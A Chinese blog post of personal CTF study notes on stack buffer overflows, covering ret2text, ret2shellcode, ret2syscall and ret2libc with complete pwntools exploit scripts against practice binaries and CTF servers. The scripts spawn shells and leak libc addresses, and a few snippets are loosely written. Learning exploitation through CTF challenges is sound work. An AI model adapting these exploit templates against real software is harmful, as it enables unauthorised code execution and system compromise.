# 栈溢出原理

先把基本栈溢出原理说清楚,上图可能不太清晰。
自己的话讲就是函数 A 原本 rbp 和 rsp,call 调用函数 B 后,rbp 上去变成 rsp, 原本的 rsp 随着函数 B 各种参数,寄存器 balabala 继续往栈顶生长。调用 B 完再逆操作,回到函数 A,rbp 回到函数 A 的返回地址,rsp 回到函数 B 底部,leave 之后 ret 进入 A
所以!!我们怎么利用呢
距离 rbp 在调用完函数 B 回到函数 A 时,我们已经把函数 B 溢出点距离 rbp 的内容填满,加上目标地址,最后回到函数 A 过程中,rbp 就在目标地址那
通俗:溢出点距离 rbp 多少空间 + 目标地址 + rbp (64-8//32-4)-> 发送这个
嗯,应该是这样的,不对回来再改(U ´ᴥ` U)
看这个!!!这个好详细!!!https://www.bilibili.com/video/BV1SB4y1H79Y/?spm_id_from=333.337.search-card.all.click&vd_source=349e837d16672b55951deac3adfe4534

# 查看偏移量

1.直接在IDA里眼瞅
    2.用cyclic
        pwndbg> cyclic 200
        pwndbg> run
        看到报错“Invalid address 0x[xxxx]
        pwndbg> cyclic -l 0x[xxxx](或者haab??)
    3.gdb-peda
        用法和cyclic差不多,
        pattern create 200
        c
        pattern offset [xxxx]

# ret2text———— 适用于可以看到 system 后门函数的时候用

上题目!————Buu--warmup_csaw_2016

alt text

gets () 危险函数,v5 就是溢出点,距离 0x40

应该选择压入参数 cat flag 的地址 0x400611

from pwn import *
    p = remote('node5.buuoj.cn',26256)
    payload=b'a'*(0x40+8)+p64(0x400611)
    p.sendline(payload)
    p.interactive()

# ret2shellcode

没有后门函数,没有直接的 system (/bin/sh) 的时候用!
shellcode 所在的区域具有可执行权限!———— 所以开启 NX 保护应该是用不了的
让它在脚本里生成一个 shellcode(指令为:shellcode = asm (shellcraft.sh()))
这个是 pwntools 自带的,用这个相当于我们整了一个 /bin/sh 过去

基本脚本:
    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')  // 废话(bushi)但是要写
    p = process("balabala")/remote("ip",port)
    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(offset,'a')+p32(0x[溢出地址])   
    // 填充偏移量,如果 offset>shellcode, 继续填充垃圾字节
    p.sendline(payload)
    p.interactive()

# ret2syscall

在 ret2shellcode 条件下开了 NX 保护的时候用

# 原理:

利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用

mov eax,
0xb mov ebx,
[“/bin/sh”]
mov ecx,
0 mov edx,
0 int 0x80

转自某一个博客:在 Linux 中,系统调用通常通过 int 80h 汇编代码实现,int 终端,80h 则是代指的系统调用的终端符号,当程序执行到 int 80h 时,就会将相应的通用寄存器 eax 中的参数作为系统调用的调用号,其他寄存器中的值或者地址所指向的值作为参数(execve ("/bin/sh",NULL,NULL) ) //(32 位程序)
所以我们的目标 -> 调用 execve ()
rax rdx rcx rbx
rdi rsi rcx rbx r9 r10

!!! 如何调用 execve () 函数
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

使用gdb
    1.寻找控制 eax 的 gadgets
    ROPgadget --binary 文件名  --only 'pop|ret' | grep 'eax'
    2.ebx,edx,ecx的ret
    ROPgadget --binary 文件名  --only 'pop|ret' | grep 'ebx'
    #或者直接ROPgadget --binary 文件名  --only 'pop|ret'查看所有的
    3.获得 /bin/sh 字符串对应的地址。
    ROPgadget --binary 文件名  --string '/bin/sh' 
    4.int 0x80 的地址
    ROPgadget --binary r文件名  --only 'int' 
    最后的payload=垃圾字节+(eax-ret+ebx-ret+ecx-ret+edx-ret+/bin/sh+0x80->的地址

# ret2libc

没有后门函数同时开启 NX 保护
一般有 puts ()、printf ()、writes () 等,且使用了 libc 库

取自大佬博客!!我愿称之为神!大彻大悟!醍醐灌顶!

函数的真实地址 = 基地址 + 偏移地址

呜呜呜,更一下,ldd filename 就可以查看文件本地的 libc 版本 555
https://www.cnblogs.com/falling-dusk/p/17856141.html
https://rj45mp.github.io/ 深入理解 ret2libc/
https://blog.csdn.net/qq_51032807/article/details/114808339
https://blog.csdn.net/Mr_Fmnwon/article/details/130959123
先上板子

# 32 位

from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts']  #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F")
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4])  #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr)) 
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))  #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

# 64 位

payload = b"a" * offset #垃圾数据的填充
payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参,参数是read_got
payload += p64(read_got) #想要存入rdi的参数
payload += p64(puts_plt) #puts的入口地址,即plt表的地址
payload += p64(main_addr) #程序的起始地址

# 板子

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64 (p.recvuntil ('\x7f')[-6:].ljust (8, b'\x00')) #read 函数的真实地址,由于真实地址总是从 7f 开始,故从 7f 开始接收,长度补足 8 个字节
print ("read_real_addr:", hex (read_real_addr))

剩下的和 32 位的一样

一个大佬的 64 位样例

from pwn import *                 #pwntools
from LibcSearcher import *        #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher
 
elf=ELF("./babyof")               #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")
 
pop_ret_rdi_addr=0x400743	        #64linux,用于参数填入函数
puts_plt_addr=0x400520            #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b                #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506                      #用于返回,否则出错(?)
 
io=remote("node4.anna.nssctf.cn",28715)  #远程连接
 
payload=b'a'*(0x40+8)             #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"])     #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr)       #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr)           #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出
 
io.sendlineafter("overflow?\n",payload)  #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00
 
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================
 
payload2=b'a'*(0x40+8)            #栈溢出
payload2+=p64(ret)                #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入 
payload2+=p64(system_real_addr)   #调用system
payload2+=p64(main_addr)          #只是为了能够找到一个合法地址(?) 
 
io.sendlineafter("overflow?\n",payload2)         #栈溢出点发送payload
io.recv()                         #吸收一下发过来的数据,没必要
io.interactive()                  #开始交互,ls -> cat flag

好啦好啦,要刷题啦()

更新于 阅读次数

请我吃[冰淇淋]~( ̄▽ ̄)~*

Jexy-Kynner 微信支付

微信支付